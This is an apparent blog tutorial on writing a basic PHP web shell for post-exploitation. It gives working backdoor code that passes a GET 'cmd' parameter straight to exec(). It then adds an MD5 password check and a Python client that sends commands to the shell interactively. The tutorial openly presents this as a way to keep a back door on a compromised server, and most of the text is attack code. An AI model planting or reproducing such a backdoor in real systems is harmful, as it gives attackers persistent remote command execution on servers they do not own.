A web shell is a piece of code written to get control over a web server. It is helpful for post-exploitation attacks. We can use a web shell to maintain access to the server. There are various types of shells. Some are designed to work with PHP environments while others work on an ASP server. Some web shells provide a reverse connection while others give a bind connection.
A well-known example of a web shell is c99. In this document, we are going to see how we can develop a very basic web shell. This shell is for a PHP environment. So we can use PHP to code it.
Why do we need a web shell? The main usage of a web shell is to do post-exploitation tasks.
Before we continue let's understand some theories. The primary goal of a web shell is to run some given commands on the server. Since we are using PHP, we have to check how we can execute system commands in a PHP script.
What the shell needs to do is take a command from the user, execute it, and give the output to the user. In PHP there are several functions to use to build a shell. In the following list, we can see some of them.
Both system and exec functions can be used to execute a Linux command on the back-end server.
The system command prints out the result of the executed command while the exec command just only executes the command. If we want to see the output of the exec function we should use the echo command with the exec() function.
Now it is time to start building our script. Here is the PHP script that we are using to make a back door on the server.
<?php
echo '<pre>'. exec($_GET['cmd']) .'<pre>';
?>
This code will fetch the HTTP GET parameter called 'cmd' and put it as an argument for the exec() function. After that, it'll print the result inside a pre-wrapper.
This is the basic principle of the whole script. Let's try this on a server. I'll use my local host.
When I request the script with my command as the cmd parameter, it executed the command and printed the output. Great. It's working. What else we can do?
Add error handling
What happens if I don't enter the cmd parameter? It'll cause a runtime error. Because the script tries to fetch that but no parameter was supplied.
It is a good programming practice to do error handling whenever we can. So we can reduce runtime errors. As a solution, we can write a code as follows.
In the beginning, we check the GET parameter. If the cmd parameter is not supplied or is empty we don't execute the command and exit the script. If the user has given the cmd parameter we run it.
Controlling the access to the shell
After we upload the shell to a server, anyone can use it to control the server. So we need to limit access by adding an authentication system. We can use the following script as a solution.
define('PASSWORD', 'f8b60df48fae35dfa126a1b6ccc3ceed');
function auth($password)
{
$input_password_hash = md5($password);
if (strcmp(PASSWORD, $input_password_hash) == 0) {
return TRUE;
}else{
return FALSE;
}
}
if (isset($_GET['cmd']) && !empty($_GET['cmd']) && isset($_GET['password'])) {
if (auth($_GET['password'])) {
echo '<pre>'. exec($_GET['cmd']) .'<pre>';
}else{
die('Access denide!');
}
}
?>
We declared a function called auth() to compare the given password and the stored one. Here we compare md5 hashes. (If you want you may even use a salted hash). Then we give access to the shell if only two hashes are matched.
Creating a Python client
As the next step, we are going to build a little Python script to access the shell. Using this script is very easy than accessing a shell from a web browser. We can use a library like requests, urlib2, etc for this purpose.
Let's see how we can do this with the request library
import requests
from bs4 import BeautifulSoup
target = "http://127.0.0.1/shell.php"
password = "hacksland"
while 1:
cmd = str(input("$ "))
try:
r = requests.get(target, params={'cmd': cmd, 'password':password})
soup = BeautifulSoup(r.text, 'html.parser')
print(soup.pre.text)
except requests.exceptions.RequestException as e:
print(e)
sys.exit(1)
I also used the BeautifulSoup library to format the output and get the required data.
So this is all for this document. In the next article, we are going to see how we can develop a GUI web shell. Stay tuned.